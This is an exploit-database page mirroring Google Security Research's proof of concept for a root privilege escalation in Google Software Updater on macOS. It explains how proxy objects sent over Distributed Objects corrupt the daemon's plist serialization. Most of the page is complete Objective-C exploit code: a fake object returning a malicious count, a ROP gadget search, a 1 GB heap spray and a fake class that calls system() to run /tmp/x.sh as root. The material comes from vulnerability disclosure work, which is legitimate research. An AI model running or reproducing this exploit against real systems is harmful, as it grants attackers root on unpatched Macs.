Menu

Search for hundreds of thousands of exploits

"Google Software Updater macOS - Unsafe use of Distributed Objects Privilege Escalation"

Author

"Google Security Research"

Platform

macos

Release date

2018-03-20

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
/*
Google software updater ships with Chrome on MacOS and installs a root service (com.google.Keystone.Daemon.UpdateEngine)
which lives here: /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon

This service vends a Distributed Object which exposes an API for updating google software running on the machine.

Distributed Objects are very very hard to safely use across a privileged boundary.

The GoogleSoftwareUpdateDaemon process attempts to "sanitize" objects passed to it by serializing
and deserializing them to a plist, however this still means we can attack the plist serializing code!

Specifically, with D.O. we can pass proxy objects which allow us to overload all objective-c
method calls. We can make the plist code think it's serializing a CFString, and then change our behaviour
to return a different CFTypeID so we become a dictionary for example.

The plist serialization code is not written to defend against such proxy objects, because D.O. should not be
used across a privilege boundary.

In this case I'm targetting the following code in CoreFoundation:

static void _flattenPlist(CFPropertyListRef plist, CFMutableArrayRef objlist, CFMutableDictionaryRef objtable, CFMutableSetRef uniquingset);

plist will be a proxy for the FakeCFObject I define. We can first pretend to be a CFString to pass some other type checks, then become a CFDictionary
(by simply returning a different return value for the _cfTypeID method.) We can then reach the following code:

    CFIndex count = CFDictionaryGetCount((CFDictionaryRef)plist);
    STACK_BUFFER_DECL(CFPropertyListRef, buffer, count <= 128 ? count * 2 : 1);
    CFPropertyListRef *list = (count <= 128) ? buffer : (CFPropertyListRef *)CFAllocatorAllocate(kCFAllocatorSystemDefault, 2 * count * sizeof(CFTypeRef), __kCFAllocatorGCScannedMemory);
    CFDictionaryGetKeysAndValues((CFDictionaryRef)plist, list, list + count);
    for (CFIndex idx = 0; idx < 2 * count; idx++) {
      _flattenPlist(list[idx], objlist, objtable, uniquingset);
    }

Since we're not a real CFDictionary we can return an arbitrary value for count. If we return a value < 0 it will be used to calculate the size of a stack buffer.
By passing a carefully chosen value this lets you move the stack pointer down an arbitrary amount, off the bottom of the stack and potentially into another thread's stack
or on to the heap, allowing memory corruption.

There will be dozens of other places where attack-controlled proxy objects will be able to interact with system code that was not written expecting to have
to deal with proxy objects.

The correct fix is to not use Distributed Objects across a privilege boundary, as per Apple's advice:
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html

build this PoC:
clang -o ks ks.m -framework Foundation -framework CoreFoundation

start lldb waiting for the daemon to start:
sudo lldb --wait-for -n "/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon"

continue lldb and run the poc, you should see that the stack ends up pointing well outside the stack :)
*/

/*
ianbeer
Google software updater LPE on MacOS due to unsafe use of Distributed Objects

Google software updater ships with Chrome on MacOS and installs a root service (com.google.Keystone.Daemon.UpdateEngine)
which lives here: /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon

This service vends a Distributed Object which exposes an API for updating google software running on the machine.

Distributed Objects are very very hard to safely use across a privileged boundary.

The GoogleSoftwareUpdateDaemon process attempts to "sanitize" objects passed to it by serializing
and deserializing them to a plist, however this still means we can attack the plist serializing code!

Specifically, with D.O. we can pass proxy objects which allow us to overload all objective-c
method calls. We can make the plist code think it's serializing a CFString, and then change our behaviour
to return a different CFTypeID so we become a dictionary for example.

The plist serialization code is not written to defend against such proxy objects, because D.O. should not be
used across a privilege boundary.

In this case I'm targetting the following code in CoreFoundation:

static void _flattenPlist(CFPropertyListRef plist, CFMutableArrayRef objlist, CFMutableDictionaryRef objtable, CFMutableSetRef uniquingset);

plist will be a proxy for the FakeCFObject I define. We can first pretend to be a CFString to pass some other type checks, then become a CFDictionary
(by simply returning a different return value for the _cfTypeID method.) We can then reach the following code:

    CFIndex count = CFDictionaryGetCount((CFDictionaryRef)plist);
    STACK_BUFFER_DECL(CFPropertyListRef, buffer, count <= 128 ? count * 2 : 1);
    CFPropertyListRef *list = (count <= 128) ? buffer : (CFPropertyListRef *)CFAllocatorAllocate(kCFAllocatorSystemDefault, 2 * count * sizeof(CFTypeRef), __kCFAllocatorGCScannedMemory);
    CFDictionaryGetKeysAndValues((CFDictionaryRef)plist, list, list + count);
    for (CFIndex idx = 0; idx < 2 * count; idx++) {
      _flattenPlist(list[idx], objlist, objtable, uniquingset);
    }

Since we're not a real CFDictionary we can return an arbitrary value for count. If we return a value < 0 it will be used to calculate the size of a stack buffer.
By passing a carefully chosen value this lets you move the stack pointer down an arbitrary amount, off the bottom of the stack and potentially into another thread's stack
or on to the heap, allowing memory corruption.

There will be dozens of other places where attack-controlled proxy objects will be able to interact with system code that was not written expecting to have
to deal with proxy objects.

The correct fix is to not use Distributed Objects across a privilege boundary, as per Apple's advice:
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html

build this PoC:
clang -o ks_r00t ks_r00t.m -framework Foundation -framework CoreFoundation

This PoC exploit will run the shell script /tmp/x.sh as root.
*/

#import <objc/Object.h>
#import <Foundation/Foundation.h>
#import <CoreFoundation/CoreFoundation.h>

#include <dlfcn.h>

#import <stdio.h>
#include <stdlib.h>
#import <unistd.h>

@interface FakeCFObject : NSObject
{
  int count;
}

- (id) init;
- (CFTypeID) _cfTypeID;
- (void) getObjects:(id)objs andKeys:(id)keys;
- (void) getObjects:(id)objs range:(id)r;
- (unsigned long) count;
@end

@implementation FakeCFObject
- (id)init {
  self = [super init];
  if (self) {
    count = 0;
  }
  return self;
}

- (CFTypeID) _cfTypeID;
{
  NSLog(@"called cfTypeID");
  count++;

  switch (count) {
    case 1:
      return CFStringGetTypeID();
    default:
      return CFArrayGetTypeID();
  }
}

- (unsigned long) count;
{
  NSLog(@"called count");
  uint64_t rsp_guess = 0x700006000000;
  uint64_t heap_spray_guess = 0x150505000;
  uint64_t sub_rsp = rsp_guess - heap_spray_guess;
  sub_rsp >>= 3;
  sub_rsp |= (1ull<<63);
  printf("count: 0x%016llx\n", sub_rsp);
  return sub_rsp;
}

- (void) getObjects:(id)objs andKeys:(id)keys;
{
  NSLog(@"called getObjects_andKeys");
}

- (void) getObjects:(id)objs range:(id)r;
{
  NSLog(@"called getObjects_andKeys");
}

@end

// heap sprap assumption is that this will end up at 0x150505000
/*
  heap spray structure:
  we need to spray for two values, firstly the bug will sub rsp, CONTROLLED
  we want that to put the stack into the spray allocation


    +----------------------+
    |                      |
    | regular thread stack |
    |                      |
+-- +......................+   <-- base of stack when we use the bug to cause a
|   .                      .       massive sub rsp, X to move the stack pointer into the heap spray
|   .  <many TB of virtual .
|   .   address space>     .
|   .                      .
|   | + - - - - - - - + <--^--- 1G heap spray
|   | | FAKE_OBJC     |    |     top half is filled with fake objective c class objects
|   | | FAKE_OBJC     |    |     bottom half is filled with 0x170707000
|   | | FAKE_OBJC     |    |
|   | |     ...       |    | +--- these pointers all hopefully point somewhere into the top half of the heap spray
|   | + - - - - - - - +    | |
|   | |  0x170707000  | <--^-+
|   | |  0x170707000  |    |  +-- this is the first entry in the stack-allocated buffer
|   | |  0x170707000  |    |  |   if we override the getObjectsforRange selector of the D.O. so that nothing gets
|   | |     ...       |    |  |   filled in here this will be used uninitialized
|   | |  0x170707000  | <--^--+
+-> +-----------------| <--^--- rsp points here after the massive sub.
    | |  0x170707000  |    |    we want rsp to point anywhere in the lower half of the heap spray
    | |  xxxxxxxxxxx  |    |
    | |  xxxxxxxxxxx  |    |
    | |  0x170707000  |    |
    | +---------------+ <--^--- we send this 1G region as an NSData object
    .                      .
    .                      .


  When we get RIP control rdi will point to the bottom of the alloca buffer.
  That is, it will point to a qword containing 0x170707070

  The gadget below will turn that into RIP control with rdi pointing to the fake objective-c
  class object. Since the first 16 bytes of that are unused by objc_msgSend we can point the
  second fptr to system and put a 16 byte command at the start of the fake class.
*/


// this is tls_handshake_set_protocol_version_callback in Security.framework:
char* gadget =
"\x55"             // push rbp
"\x48\x89\xE5"     // mov rbp, rsp
"\x89\x77\x58"     // mov [rdi+58h], esi
"\x48\x8B\x47\x28" // mov rax, [rdi+28h]
"\x48\x8B\x7F\x30" // mov rdi, [rdi+30h]
"\x48\x8B\x40\x30" // mov rax, [rax+30h]
"\x5D"             // pop rbp
"\xFF\xE0";        // jmp rax

uint64_t gadget_address() {
  void* haystack = dlsym(RTLD_DEFAULT, "NSAllocateObject");
  printf("haystack: %p\n", haystack);

  void* found_at = memmem(haystack, 0x10000000, gadget, 22);
  printf("found at: %p\n", found_at);

  return found_at;
}

// heap spray target of 0x170707000
// this will be the page containing the fake objective c object
void* build_upper_heap_spray_page() {
  uint64_t spray_target = 0x170707000;
  uint64_t target_fptr = gadget_address();

  struct fake_objc_obj {
    char cmd[16];
    uint64_t cache_buckets_ptr;  // +0x10
    uint64_t cache_buckets_mask; // +0x18
    uint64_t cached_sel;         // +0x20
    uint64_t cached_fptr;        // +0x28
    uint64_t second_fptr;        // +0x30
  };

  struct fake_objc_obj* buf = malloc(PAGE_SIZE);
  memset(buf, 'B', PAGE_SIZE);
  
  uint64_t target_selector = (uint64_t)sel_registerName("class");
  printf("target selector address: %llx\n", target_selector);

  strcpy(buf->cmd, "/tmp/x.sh");
  buf->cache_buckets_ptr = spray_target + 0x20;
  buf->cache_buckets_mask = 0;
  buf->cached_sel = target_selector;
  buf->cached_fptr = target_fptr;

  buf->second_fptr = (uint64_t)system;

  return buf;
}

// heap spray target of 0x150505000
// this will be the page containing the pointer to the fake objective c class
void* build_lower_heap_spray_page() {
  uint64_t* buf = malloc(PAGE_SIZE);
  for (int i = 0; i < PAGE_SIZE/8; i++) {
    buf[i] = 0x170707000;
  }
  return buf;
}

int main() {
  id theProxy;
  theProxy = [[NSConnection
      rootProxyForConnectionWithRegisteredName:@"com.google.Keystone.Daemon.UpdateEngine"
      host:nil] retain];

  printf("%p\n", theProxy);

	FakeCFObject* obj = [[FakeCFObject alloc] init];

  NSDictionary* dict = @{@"ActivesInfo": obj};

  id retVal = [theProxy claimEngineWithError:nil];
  printf("retVal: %p\n", retVal);

  uint32_t heap_spray_MB = 1024;
  uint32_t heap_spray_bytes = heap_spray_MB * 1024 * 1024;
  uint32_t heap_spray_n_pages = heap_spray_bytes / PAGE_SIZE;
  
  void* lower_heap_spray_page = build_lower_heap_spray_page();
  void* upper_heap_spray_page = build_upper_heap_spray_page();

  uint8_t* heap_spray_full_buffer = malloc(heap_spray_bytes);
  for (int i = 0; i < heap_spray_n_pages/2; i++) {
    memcpy(&heap_spray_full_buffer[i*PAGE_SIZE], lower_heap_spray_page, PAGE_SIZE);
  }
  
  for (int i = heap_spray_n_pages/2; i < heap_spray_n_pages; i++) {
    memcpy(&heap_spray_full_buffer[i*PAGE_SIZE], upper_heap_spray_page, PAGE_SIZE);
  }

  // wrap that in an NSData:
  NSData* data = [NSData dataWithBytes:heap_spray_full_buffer length:heap_spray_bytes];

  // trigger the bugs
  [retVal setParams:dict authenticationPort:data];

  return 0;

}
Release Date Title Type Platform Author
2019-08-05 "macOS iMessage - Heap Overflow when Deserializing" dos macos "Google Security Research"
2019-07-02 "Mac OS X TimeMachine - 'tmdiagnose' Command Injection Privilege Escalation (Metasploit)" local macos Metasploit
2019-05-27 "Typora 0.9.9.24.6 - Directory Traversal" remote macos "Dhiraj Mishra"
2019-05-23 "Apple Mac OS X - Feedback Assistant Race Condition (Metasploit)" local macos Metasploit
2019-04-18 "Evernote 7.9 - Code Execution via Path Traversal" local macos "Dhiraj Mishra"
2019-03-01 "macOS XNU - Copy-on-Write Behavior Bypass via Mount of User-Owned Filesystem Image" dos macos "Google Security Research"
2019-02-13 "Apple macOS 10.13.5 - Local Privilege Escalation" local macos Synacktiv
2019-02-20 "FaceTime - Texture Processing Memory Corruption" dos macos "Google Security Research"
2019-01-31 "macOS XNU - Copy-on-Write Behaviour Bypass via Partial-Page Truncation of File" dos macos "Google Security Research"
2019-01-24 "Microsoft Remote Desktop 10.2.4(134) - Denial of Service (PoC)" dos macos "Saeed Hasanzadeh"
2018-12-14 "Safari - Proxy Object Type Confusion (Metasploit)" remote macos Metasploit
2018-11-29 "Mac OS X - libxpc MITM Privilege Escalation (Metasploit)" local macos Metasploit
2018-11-20 "Apple macOS 10.13 - 'workq_kernreturn' Denial of Service (PoC)" dos macos "Fabiano Anemone"
2018-11-14 "SwitchVPN for macOS 2.1012.03 - Privilege Escalation" local macos "Bernd Leitner"
2018-11-13 "CuteFTP Mac 3.1 - Denial of Service (PoC)" dos macos "Yair Rodríguez Aparicio"
2018-11-06 "FaceTime - 'VCPDecompressionDecodeFrame' Memory Corruption" dos macos "Google Security Research"
2018-11-06 "FaceTime - 'readSPSandGetDecoderParams' Stack Corruption" dos macos "Google Security Research"
2018-11-05 "LiquidVPN 1.36 / 1.37 - Privilege Escalation" local macos "Bernd Leitner"
2018-05-30 "Yosoro 1.0.4 - Remote Code Execution" webapps macos "Carlo Pelliccioni"
2017-02-24 "Apple WebKit 10.0.2 - 'FrameLoader::clear' Universal Cross-Site Scripting" webapps macos "Google Security Research"
2017-06-06 "Apple Safari 10.1 - Spread Operator Integer Overflow Remote Code Execution" remote macos saelo
2017-05-04 "Apple Safari 10.0.3 - 'JSC::CachedCall' Use-After-Free" remote macos "saelo & niklasb"
2017-02-23 "Apple macOS HelpViewer 10.12.1 - XSS Leads to Arbitrary File Execution / Arbitrary File Read" remote macos "Google Security Research"
2018-07-30 "Charles Proxy 4.2 - Local Privilege Escalation" local macos "Mark Wadham"
2018-03-20 "Google Software Updater macOS - Unsafe use of Distributed Objects Privilege Escalation" local macos "Google Security Research"
2017-01-16 "Apple macOS Sierra 10.12.1 - 'physmem' Local Privilege Escalation" local macos "Brandon Azad"
2017-12-07 "Apple macOS High Sierra 10.13 - 'ctl_ctloutput-leak' Information Leak" local macos "Brandon Azad"
2017-11-28 "Apple macOS 10.13.1 (High Sierra) - 'Blank Root' Local Privilege Escalation" local macos Lemiorhan
2017-12-06 "Apple macOS 10.13.1 (High Sierra) - Insecure Cron System Local Privilege Escalation" local macos "Mark Wadham"
2017-12-06 "Proxifier for Mac 2.19 - Local Privilege Escalation" local macos "Mark Wadham"
Release Date Title Type Platform Author
2019-08-15 "Microsoft Windows Text Services Framework MSCTF - Multiple Vulnerabilities" local windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Double Free due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - free() of Uninitialized Pointer due to Malformed JBIG2Globals Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Memory Corruption due to Malformed TTF Font" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow in CoolType.dll" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed Font Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Static Buffer Overflow due to Malformed Font Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow While Processing Malformed PDF" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Use-After-Free due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Out-of-Bounds read due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in FixSbitSubTableFormat1" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in MakeFormat12MergedGlyphList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in WriteTableFromStructure" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in ReadAllocFormat12CharGlyphMapList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in ReadTableIntoStructure" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in FixSbitSubTables" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Double Free in MergeFormat12Cmap / MakeFormat12MergedGlyphList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in GetGlyphIdx" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Returning a Dangling Pointer via MergeFontPackage" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat CoolType (AFDKO) - Call from Uninitialized Memory due to Empty FDArray in Type 1 Fonts" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat CoolType (AFDKO) - Memory Corruption in the Handling of Type 1 Font load/store Operators" dos windows "Google Security Research"
2019-08-15 "NSKeyedUnarchiver - Info Leak in Decoding SGBigUTF8String" dos multiple "Google Security Research"
2019-08-12 "WebKit - UXSS via XSLT and Nested Document Replacements" dos multiple "Google Security Research"
2019-08-12 "Linux - Use-After-Free Reads in show_numa_stats()" dos linux "Google Security Research"
2019-08-07 "Google Chrome 74.0.3729.0 / 76.0.3789.0 - Heap Use-After-Free in blink::PresentationAvailabilityState::UpdateAvailability" dos multiple "Google Security Research"
2019-08-05 "macOS iMessage - Heap Overflow when Deserializing" dos macos "Google Security Research"
2019-07-30 "iMessage - NSKeyedUnarchiver Deserialization Allows file Backed NSData Objects" dos multiple "Google Security Research"
2019-07-30 "iMessage - Memory Corruption when Decoding NSKnownKeysDictionary1" dos multiple "Google Security Research"
2019-07-30 "iMessage - NSArray Deserialization can Invoke Subclass that does not Retain References" dos multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/44307/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/44307/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/44307/9873/google-software-updater-macos-unsafe-use-of-distributed-objects-privilege-escalation/download/", "exploit_id": "44307", "exploit_description": "\"Google Software Updater macOS - Unsafe use of Distributed Objects Privilege Escalation\"", "exploit_date": "2018-03-20", "exploit_author": "\"Google Security Research\"", "exploit_type": "local", "exploit_platform": "macos", "exploit_port": null}
                    

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Browse exploit APIBrowse